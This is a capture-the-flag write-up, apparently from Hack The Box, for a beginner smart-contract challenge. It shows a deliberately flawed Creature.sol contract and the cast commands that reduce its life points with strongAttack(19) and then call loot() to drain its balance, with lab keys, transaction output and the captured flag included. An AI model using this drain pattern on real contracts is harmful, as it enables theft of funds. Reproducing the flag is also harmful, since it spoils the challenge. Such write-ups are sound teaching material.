Survival of the Fittest
3 minutes to read
We are given a Smart Contract called Creature.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
There is also a website, but it is not needed to solve the challenge:

It is only useful to get the connection parameters:

Moreover, since this is a beginner challenge, in /docs we can find some information on how to tackle Blockchain challenges:

Setup environment
First of all, let’s save the connection parameters as shell variables:
$ PRIVATE_KEY='0x830fd7600f70dde871893e701e93cd903b31091e7a53f52f4794d934c3d15613'
$ ADDRESS='0x9dfc049f5F8a03C61e6447ed9E9CCeb2d3293aB7'
$ ADDRESS_TARGET='0x8B267564A3aCEab61e13A18CC836ECb54D45b739'
$ ADDRESS_SETUP='0x903f515d221b4bc5A0dC59021adFbD40B7A704A2'
$ RPC_URL='http://138.68.165.36:31749/rpc'
ADDRESS_SETUP stands for the Smart Contract that will check if the challenge is solved or not. We can use cast from foundry (recommended in the challenge) to check that the challenge is not solved yet (or we can perform a GET request to /flag):
$ cast call $ADDRESS_SETUP 'isSolved()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
0x0000000000000000000000000000000000000000000000000000000000000000
$ curl 138.68.165.36:31749/flag
Conditions not satisfied!
Notice the use of call because isSolved is a view method (which does not change the state of the Smart Contract).
Source code analysis
The Creature.sol Smart Contract instantiates a creature with 20 life points:
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
// ...
}
There are two methods called punch and strongAttack that use a private method called _dealDamage under the hood:
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
// ...
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
As can be seen, _dealDamage reduces the lifePoints variable by the given amount.
Finally, there is another public function called loot to check if the creature is dead or not:
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
If the creature is dead, then the Smart Contract transfers money to the Setup Smart Contract (which will tell that the challenge is solved).
Solution
So, the idea is to interact with the Creature Smart Contract and decrease its life points until 0. Obviously, if we use loot, the Smart Contract will show the error message since lifePoints is non-zero:
$ cast send $ADDRESS_TARGET 'loot()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
Error:
(code: 3, message: execution reverted: Creature is still alive!, data: Some(String("0x08c379a0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000184372656174757265206973207374696c6c20616c697665210000000000000000")))
Let’s use punch for example:
$ cast send $ADDRESS_TARGET 'punch()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xd9f1f255ec7624b32eb5f93bbeaf1549affe1df0d1d2c82c7d0110b56b418ca0
blockNumber 2
contractAddress
cumulativeGasUsed 48481
effectiveGasPrice 3000000000
gasUsed 48481
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xad471173c97beda47e46e238f22b5574cc24072211a8ec49d0260f087e4f716d
transactionIndex 0
type 2
But it is better to use strongAttack since we can specify the amount of damage to deal (19 because punch deals a damage of 1 life point):
$ cast send $ADDRESS_TARGET 'strongAttack(uint256)' 19 --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xd39366ccbf25a511f6f57cf82009d0fba0411fc9e7d41701e8a4ce65d2610b30
blockNumber 3
contractAddress
cumulativeGasUsed 24033
effectiveGasPrice 3000000000
gasUsed 24033
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x016abac7631d449ccf1248f93989d2d408114b166da0806367a4d91847c4caa6
transactionIndex 0
type 2
Notice the use of send because these methods modify the state of the Smart Contract.
At this point, loot works fine:
$ cast send $ADDRESS_TARGET 'loot()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
blockHash 0xc6225906dde3c4bdbfb61a691f0cfab3ce0d037a984723b837cc8cad1308b71e
blockNumber 4
contractAddress
cumulativeGasUsed 30240
effectiveGasPrice 3000000000
gasUsed 30240
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x7a11627dc62d527f046fc559937e38b5537530b0abe7462a1bdd5af51fa58513
transactionIndex 0
type 2
So we can check if the challenge is solved:
$ cast call $ADDRESS_SETUP 'isSolved()' --rpc-url $RPC_URL --private-key $PRIVATE_KEY
0x0000000000000000000000000000000000000000000000000000000000000001
Flag
It is, so let’s get the flag:
$ curl 138.68.165.36:31749/flag
HTB{g0t_y0u2_f1r5t_b100d}